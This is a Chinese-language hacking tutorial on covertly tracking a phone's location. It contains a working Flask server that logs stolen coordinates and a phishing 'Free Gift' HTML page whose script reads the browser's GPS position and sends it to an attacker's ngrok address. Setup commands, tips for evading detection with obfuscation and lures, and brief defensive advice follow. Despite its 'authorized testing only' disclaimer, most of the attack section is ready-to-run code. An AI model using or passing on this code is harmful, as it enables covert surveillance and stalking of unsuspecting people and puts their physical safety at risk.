一、从“手机被追踪案件”说起

2022年,一起令人震惊的隐私泄露事件被曝光:某知名企业家发现自己的行踪频繁被对手预判,最终通过一场技术调查,揭露了其手机定位信息被实时追踪的事实。攻击者通过多个来源获取了目标的位置信息,包括GPS数据、Wi-Fi连接记录以及基站定位,从而精准掌握了该企业家的日常活动轨迹。

这起事件反映的并不仅仅是技术能力的强大,更是我们对手机定位技术的双刃剑属性的深刻认知。本文将从攻击者的视角拆解手机定位追踪的技术原理,演示如何通过公开资源和技术手段实现位置跟踪。当然,本文仅限于授权测试和研究,请勿将技术用于非法用途。

---

二、解密手机定位技术

手机定位是怎么一回事?

想要追踪一台手机的位置,攻击者通常会关注以下三种核心数据来源:

  1. GPS数据:全球定位系统用于提供精确的经纬度坐标,但需要目标设备主动打开GPS功能。
  2. 基站定位:通过手机连接的蜂窝网络基站,可以估算出目标的大致位置,误差范围通常在数百米到几公里。
  3. Wi-Fi定位:通过扫描周围的Wi-Fi热点并与数据库比对,可以得出相当精准的地址。

此外,应用程序和操作系统通常会收集这些数据并上传到云端,从而为攻击者提供捕获这些信息的机会。

攻击者可能利用的渠道

攻击者想要捕获目标的定位信息,通常会选择以下几种方法:

  • 社工+恶意APP安装:通过社交工程诱骗受害者安装恶意APP,该APP会请求位置权限。
  • 劫持第三方API接口:某些APP会将位置信息上传到服务器,攻击者可以劫持这些请求。
  • 网络流量分析:直接通过抓包工具嗅探目标的网络流量,提取定位信息。

接下来的章节,我们将聚焦于一种较为通用的手段——通过恶意代码结合公开网络资源,完成一次完整的手机定位追踪。

---

三、环境搭建:模拟手机位置抓取

为了便于演示,我们需要搭建一个简单的实验环境。以下是所需的工具与步骤。

1. 工具清单

  • 一台运行 Kali Linux 的主机(虚拟机也可)
  • 一部 Android 手机(支持调试模式)
  • Python 安装环境
  • Ngrok 工具(用于建立外网可访问的隧道)

2. 配置步骤

配置 1:安装相关工具

在 Kali Linux 中,使用以下命令安装必要的工具:

<pre><code class="language-bash">sudo apt update sudo apt install python3 python3-pip adb pip3 install flask requests</code></pre>

以上命令会安装 Python 环境、ADB 工具(用于与手机交互)和 Flask 框架(用于模拟恶意服务器)。

配置 2:安装 Ngrok

Ngrok 是一种快速搭建外网访问通道的工具,用于将本地服务器暴露到互联网上:

<pre><code class="language-bash">wget https://bin.equinox.io/c/bNyj1mQVY4c/ngrok-stable-linux-amd64.zip unzip ngrok-stable-linux-amd64.zip sudo mv ngrok /usr/local/bin</code></pre>

使用以下命令启动 HTTP 隧道:

<pre><code class="language-bash">ngrok http 5000</code></pre>

Ngrok 会提供一个外网可访问的域名,比如 http://1234abcd.ngrok.io,稍后我们会将这个地址用于模拟恶意服务器。

配置 3:开启 Android 调试模式

在 Android 手机上,依次进入 设置 → 关于手机 → 连续点击“版本号” 开启开发者选项。然后启用 USB调试,并将手机通过数据线连接到主机。

使用以下命令确认连接是否成功:

<pre><code class="language-bash">adb devices</code></pre>

黑客示意图

如果显示连接的设备编号,说明配置成功。

---

四、恶意代码实现

这一部分,我们将编写一个简单的 Python 脚本,模拟一个窃取位置信息的恶意服务端,并通过社工手段诱使目标设备访问。

黑客示意图

服务端恶意代码

以下是我们实验用的服务端代码,使用 Flask 搭建:

<pre><code class="language-python">from flask import Flask, request

app = Flask(__name__)

@app.route(&quot;/&quot;, methods=[&quot;GET&quot;, &quot;POST&quot;]) def collect_location():

获取目标设备传递的位置信息

location = request.args.get(&quot;location&quot;, &quot;No data&quot;)

将信息写入日志文件

with open(&quot;location_log.txt&quot;, &quot;a&quot;) as log_file: log_file.write(f&quot;Location received: {location}\n&quot;)

响应目标设备

return &quot;Location data received!&quot;

if __name__ == &quot;__main__&quot;: print(&quot;Starting malicious server on port 5000...&quot;) app.run(host=&quot;0.0.0.0&quot;, port=5000)</code></pre>

保存代码为 malicious_server.py,并使用以下命令运行服务端:

<pre><code class="language-bash">python3 malicious_server.py</code></pre>

此时,服务端会监听本地的 5000 端口,并通过 Ngrok 暴露到互联网。

黑客示意图

---

目标设备端的恶意链接生成

攻击者通常会生成一个含有恶意链接的页面,诱骗目标点击并泄露位置信息。以下是一个示例 HTML 文件:

<pre><code class="language-html">&lt;!DOCTYPE html&gt; &lt;html&gt; &lt;head&gt; &lt;title&gt;Free Gift&lt;/title&gt; &lt;script&gt; // 通过浏览器获取 GPS 位置并发送给攻击者 navigator.geolocation.getCurrentPosition(function(position) { var latitude = position.coords.latitude; var longitude = position.coords.longitude;

// 将位置数据发送给攻击者服务器 var url = &quot;http://1234abcd.ngrok.io/?location=&quot; + latitude + &quot;,&quot; + longitude; fetch(url).then(response =&gt; console.log(&quot;Location sent!&quot;)); }); &lt;/script&gt; &lt;/head&gt; &lt;body&gt; &lt;h1&gt;Congratulations! You&#039;ve won a prize!&lt;/h1&gt; &lt;p&gt;Click here to claim your reward.&lt;/p&gt; &lt;/body&gt; &lt;/html&gt;</code></pre>

将此 HTML 文件命名为 index.html 并上传到一个支持外网访问的服务器,或者通过社交工程直接发送给目标。

---

五、运行与测试

步骤 1:启动服务端

确保服务端脚本正在运行,并通过 Ngrok 获取到外网地址。

步骤 2:目标设备访问恶意链接

使用目标手机打开恶意链接(index.html)所在的地址。此时,目标设备的浏览器会自动执行 JavaScript 代码,并将位置信息发送到攻击者的服务器。

步骤 3:查看日志

服务端会将接收到的位置信息写入 location_log.txt 文件。使用以下命令查看:

<pre><code class="language-bash">cat location_log.txt</code></pre>

你应该能看到类似以下的记录:

<pre><code>Location received: 37.7749,-122.4194</code></pre>

---

六、攻防对抗与总结

攻击者利用定位追踪技术的核心在于窃取目标设备的 GPS 数据,但这一过程的成功与否受到多种因素的影响,包括目标设备的隐私设置、防护软件的检测能力等。

绕过与对抗技巧

  1. 绕过安全警告:通过混淆 JavaScript 或伪装链接内容,避免引起目标的怀疑。
  2. 规避防护软件:利用 HTTPS 加密通道和随机生成的 URL,使流量更难被识别。
  3. 社工诱导点击:构造高诱惑力的钓鱼内容,提高目标访问恶意链接的概率。

防御建议

  1. 禁用无用的定位权限:关闭不必要的应用程序位置访问权限。
  2. 启用隐私保护工具:使用可信的防护软件检测恶意流量和代码。
  3. 警惕社工攻击:不要随意点击来源不明的链接或安装未知来源的应用。

通过本次实验,我们演示了如何利用公开资源和恶意代码实现手机定位追踪技术,也再次提醒大家,提升安全意识、强化隐私防护,是对抗类似攻击的最佳手段。